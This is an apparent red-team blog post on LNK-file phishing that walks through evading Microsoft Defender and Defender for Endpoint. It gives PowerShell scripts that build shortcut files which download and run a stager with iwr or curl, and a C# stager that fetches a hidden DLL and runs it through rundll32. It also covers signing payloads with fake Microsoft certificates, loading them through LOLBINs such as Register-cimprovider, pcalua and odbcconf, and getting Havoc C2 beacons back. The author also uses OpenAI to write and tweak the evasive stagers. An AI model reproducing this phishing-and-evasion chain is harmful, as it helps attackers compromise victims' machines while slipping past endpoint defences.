Home Grown Red Team: LNK Phishing In 2023 Revisited…Again

14 min readOct 13, 2023

Welcome back. So, it’s been about a week since I published my post on LNK phishing. A few days after publishing, I was testing some other methods of using LNK files (lateral movement), and I disappointedly ran into this Defender alert.

It looked like the LNK file was being scanned from my .CAB file. I tried other containers and got the same alert. Additionally, dragging and dropping the LNK file from my Linux machine to my Windows box resulted in Defender alerts.

So, I changed the LOLBIN thinking that the LNK file was getting flagged over the cmd.exe to Powershell execution. I tried going straight to Powershell, only using cmd.exe, going straight to rundll32.exe, but nothing worked. My LNK kept getting flagged, even inside password protected ZIPs, ISOs and VHDs.

I even tried double-containers, meaning I would zip my LNK then put it inside a .CAB file. I found a repo on github that allowed you to rip the signature off a genuine .CAB file -say a Microsoft update- and sign your own .CAB file.

Didn’t make a difference.

To make matters worse, my C# stager was getting flagged. Yes, the shitty OpenAI generated C# stager.

As you can see above, the C# stager has a banner with our fake company information, it pretends to do some diagnostics then writes out some system info. On the back end, the stager has horrible OPSEC.

As you can see it calls a DLL from a URL in plaintext, it has the DLL name in plaintext, and it uses Process.Start(“rundll32.exe, DllMain”); in plaintext.

To be fair, this should have never gotten through in the first place. What’s amazing is that this not only got past Windows Defender, but it also got past their EDR (trial edition).

This isn’t the first time that we’ve seen shitty code get past an EDR or AV. Just last year, I wrote possibly the worst stager in InfoSec and it got past ESET.

And after posting my LNK article last week, I’ve noticed all of the public code in the post has been flagged.

For the cherry on top, I have determined that the LNK tool that I have used for a few posts, lnk2pwn, has also been signatured. Since it’s written in Java and is run on a Linux machine, I’m guessing that it would be pretty easy to determine that the LNK files originated on a Linux system.

I confirmed that using a Windows box to create your LNK file with Poweshell does not get flagged. I’m sure there are other ways to do it on Linux (python scripts), but when I find a way that works, I just stick with it. The only reason I used lnk2pwn was because it was a pain to transfer LNK files from my Windows VM to my Linux machine.

I guess I’ll take the time now.

So with all that being said, let’s take a look at how we can improve our LNK phishing and bring our stager and our LNK files back from the dead.

The LNK File

As mentioned before, with lnk2pwn on the chopping block we’ll need an alternative way to create LNK files on our Windows machine. Powershell is probably the easiest way to do it. Here’s a small script:

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(“C:\Users\charl\OneDrive\Desktop\fancybear.lnk”)

# Set properties for the shortcut
$Shortcut.TargetPath = “C:\Windows\System32\cmd.exe”
$Shortcut.WorkingDirectory = “C:\Windows\System32\”
$Shortcut.Description = “This is a shortcut that we need for our business.”
$Shortcut.Arguments = ‘/c powershell -ep bypass iwr -OutFile $env:USERPROFILE\Downloads\runmydll.exe; Start-Process -FilePath $env:USERPROFILE\Downloads\runmydll.exe
$Shortcut.IconLocation = ‘C:\Windows\System32\msi.dll’
$Shortcut.WindowStyle = 1 # 1 — Normal, 3 — Maximized, 7 — Minimized

In this script we are using cmd.exe to open a Powershell session. This isn’t great OPSEC but it seems to work. We download our stager and then execute it. The LNK will have the .msi icon attached. We also have a short description of the LNK file and it’s purpose.

Instead of downloading the file with Powershell, let’s use Curl. So here’s our new LNK Powershell script using Curl.

$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(“C:\Users\charl\OneDrive\Desktop\rundll.lnk”)

# Set properties for the shortcut
$Shortcut.TargetPath = “C:\Windows\System32\cmd.exe”
$Shortcut.WorkingDirectory = “C:\Windows\System32”
$Shortcut.Description = “This is a shortcut that we need for our business.”

# Use curl to download runmydll.exe to the Temp folder
$Shortcut.Arguments = ‘/c curl -o “%TEMP%\runmydll.exe” && start “” “%TEMP%\runmydll.exe”’

$Shortcut.IconLocation = ‘C:\Windows\System32\msi.dll’
$Shortcut.WindowStyle = 1 # 1 — Normal, 3 — Maximized, 7 — Minimized

I run the script and my new LNK file appears on my Desktop.

The Stager

The stager was trash. We knew that from the beginning. OpenAI generated code that had zero OPSEC. The question is, can we generate more trash and also get by Defender/Defender For Endpoint. The answer is a resounding yes.

Whatever hangup Defender had for the C# stager was purely signature based. In fact, the first variable line of the stager was string url = “"; and I found that by just changing my IP, the stager would get downloaded to the Windows box.

Execution was still getting flagged, but a simple change from 26 to 27 was enough to get past static detection on download but it was still alerting on execution. With this information on hand, I thought why not just encode all of the plaintext strings in the stager?

So then we wound up with this:

And wouldn’t you know it, it went through and I got a beacon back to Havoc.

I documented all of this on Twitter and we all rejoiced at the resurrection of the C# stager. But then I woke up the next morning and once again the C# stager was flagged.

So for our new stager, we’re going to change things up. Turns out that by just switching the method of downloading the DLL to the target is enough to get past static sigs. I switched my call method from WinClient to Curl and I was back in business…for a time.

Signatured again.

Okay, let’s rethink this from the ground up.

I Love Shitty Code

One thing that I’ve found over the last year or so is that AV is way more focused on payloads than execution. This is getting much harder with behavior based AV/EDR, but you can still get past a lot of them with the worst, most OPSEC unfriendly code.

For instance, having a stager that has plaintext “control.exe” or “rundll32.exe” will still get through Windows Defender and Defender For Endpoint (trial edition) and many AVs.

This is where OpenAI really shines. It’s definitely the skiddie way, but it’s efficient.

For instance let’s take this code:

using System;
using System.Diagnostics;
using System.Net;
using System.Threading;
using System.IO;

class Program
static void Main()
string url = “";
string dllPath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + “\\process.dll”;

using (WebClient client = new WebClient())
client.DownloadFile(url, dllPath);

File.SetAttributes(dllPath, File.GetAttributes(dllPath) | FileAttributes.Hidden);

Process.Start(“rundll32.exe”, $”\”{dllPath}\”,DllEntry”);

Super simple stager that downloads a DLL from a URL, marks the file as hidden, and then calls it with rundll32.exe. Let’s compile it and transfer it to the target.

It gets flagged. Okay, no problem. Let’s mess around with it. Obviously, rundll32 isn’t great to have in plaintext from a static signature point. On the behavior side, it’s not great either. Let’s see what other LOLBINs we can execute a dll with.

Going to the LOLBINs project, I found a few different ways of downloading and executing the DLL. Not all of these methods are OPSEC safe, so testing them out, making note of the alerts and adjusting accordingly is essential for a real red team engagement.

For our downloader, we’ll use Curl and for our DLL loader we’ll use Register-cimprovider.exe.

You probably know what Curl does, but might not be as familiar with Register-cimprovider.

It’s technically used to register WMI providers, but it also allows you to run a DLL. So with our LOLBINs chosen, let’s take a look at our stager.

Pretty simple, right? Now, this isn’t the greatest method of execution. If we go back to the LOLBINs website we see that Register-cimprovider is part of the MITRE-ATT&CK framework.

So, this will probably get caught against higher level EDR, but let’s roll with it.

In my last post, I shared a few alerts that our LNK, stager and DLL generated. One of these alerts was “Low-reputation arbitrary code executed by signed executable.”

As you can see from the process listing here on Windows Defender For Endpoint, we see the alert generated. Run32D.exe was my stager and it was used to execute rundll32.exe. Rundll32 then ran our DLL and we see the alert repeated. So how do we get past this?

Bypassing the alert is actually fairly easy. By default, my Harriet payload script signs all binaries and DLLs with a fake Microsoft cert via SecretSquirrel’s SigThief.

You can find the git here:


So let’s sign our stager and take a look at it.

When we go to download the stager through Edge, we see the fake cert. As a side note, this isn’t enough to get past MOTW.

So let’s take a look at the certificate and the digital signature of our stager.

So from our screenshots we see that the certificate appears to be OK, but the digital signature is not valid. In testing, I’ve found that this doesn’t really make a difference.

This should be enough to get rid of the Low-reputation arbitrary code alert so let’s move on.


Creating the DLL isn’t much different than in the first post. We’re just going to use Harriet. You can find it in my Home Grown Red Team repo here:

The Container

This is also a pretty simple task as we’re going to recreate our .CAB file, but we’re going to do it on a Windows machine. We’re still going to use PackMyPayload.

You can git clone it from the repo on your Windows box here:

Executing The Kill Chain

So, we have our LNK file, our stager, our DLL, and our .CAB file now all we need to do is host it and execute.

After executing the chain, we get a beacon back with our process injected into RuntimeBroker.exe

And checking in with Defender For Endpoint, we see that no alerts have been generated.

Now, does that mean that this is an OPSEC safe method of initial access? I don’t know. Maybe. Did our shitty OpenAI generated code bypass Defender For Endpoint?

I guess the answer is yes, it did, for now. All of the these events are logged. We didn’t bypass logging, and the sequence of events is on DFE. If I use my Havoc beacon to upload Mimikatz to the endpoint, we would see a list of alerts.

Many times I have been testing and I don’t generate any alerts until I forget a flag on a Powershell command. Then DFE lights up like a Christmas tree. Right now we’re good, but it’s just waiting until we mess up.

Another thing worth mentioning is a specific sequence of alerts that we have evaded.

Multi-stage incident involving Execution and Discovery is an alert that I see a lot. You can see the other alerts below it. The one that I would like to point out is Suspicious sequence of exploration activities.

Digging into the alert below we see that explorer.exe performed process discovery by invoking powershell.exe.

In our new LNK file, we don’t use Powershell at all, which keeps these specific alerts suppressed. A higher version of DFE would probably make the correlation of a LNK file calling Curl directly so be careful.

Using CPL Files

In my last post I showed how we could use a CPL file to get a beacon back on Havoc. The method wasn’t very OPSEC safe. In fact, it was the same stager as the DLL stager with the file names and LOLBIN changed.

In the same vein as our DLL stager, we are going to use curl, but we’re going to use a different LOLBIN to load our CPL. In the first post, we used control.exe to launch our CPL file.

Combing through the LOLBIN site, I found an executable that natively launches CPL files.

Pcalua.exe allows you open a CPL file with the Program Compatibility Assistant. This looks like it would be a great alternative to Control.exe. Let’s give it a go.

So here’s our stager:

This resulted in Defender going crazy. So, I got OpenAI to change the Process.Start line to break up the arguments. Here’s the new stager:

And then it returned a beacon to Havoc.


As you can see there are a lot of alerts here so pcalua isn’t a great route with this stager. Not only do we get the Suspicious use of Control Panel item alert, we get a boatload of others.

Digging into the indirect command execution alert, we see the whole method laid out by Defender For Endpoint.

In testing, I got the same alerts for pcalua.exe as I did for many other LOLBINs. Here’s another one.

Odbcconf launches DLLs natively, but I thought, why not see what it does with a CPL file.

So here’s our stager:

It’s the same stager that I used with Register-cimprovider and pcalua.exe but it’s using obdcconf.exe with a few arguments to our CPL file.

So we generate the LNK, CAB, Stager and DLL and launch the attack. And the attack works!

Defender For Endpoint does not block our execution. But are there alerts?

We have one, but it’s a low. Let’s dig a little further in.

DFE has caught our entire attack chain. This was the same alert I got with other LOLBINs, including pcalua.exe. Even though this is listed as a Low, and resulted in a beacon, it’s still not ideal for our initial access method as it can easily be traced in DFE back to our CPL file.

This was simply a demonstration on how we can use different LOLBINs to launch CPLs/DLLs without relying on rundll32 or control.exe Obviously, I wouldn’t use this in any real-world context.

I Thought This Was An Article About LNK Files?

I know, right? Enough with the shitty stager code. Let’s talk more about LNKs. So what if we disregard the stagers all together and just use our commands in LNKs?

Here is what I our Powershell script would look like to generate the LNK file.

And here is what our container would look like.

The container downloads on our target and we are able to extract the LNK file without incident.

Time for execution. I’ve reset all alerts in Defender For Endpoint, so let’s take a look at what pops up.

And our biggest fear comes true!

Digging into the alert, we see that our CPL file triggered the alert.

Okay, let’s regenerate the CPL file and see if we can bypass Defender For Endpoint and get a Havoc beacon.

We regenerate the CPL file.

We create our new LNK and CAB and download them to the target.

We execute and get our Havoc beacon.


Back to square one with Suspicious use of a Control Panel item! But if you notice that by just using the LNK file, we have avoided some of the previous alerts such as the LOLBIN execution alert, use of living off the land alert, indirect command execution and suspicious use of program compatibility assistant.

Wrapping Up

So as you can see there are a lot of different methods that you can use to improve evasion with LNK files and your stagers. CABs and LNKs are fairly easy to generate and get past a lot of defenses, but what I would really like to point out is how easy it is to generate skiddy style stagers and loaders with OpenAI.

Would you use these methods as a primary TTP? Maybe. If you have a good DLL loader that can get past major EDR (Maldev Academy), then this might be an easy win.

Until next time you can follow me on here or on Twitter @assume_breach




Security enthusiast that loves a good CTF! OSCP, CRTO, RHCSA, MCSA.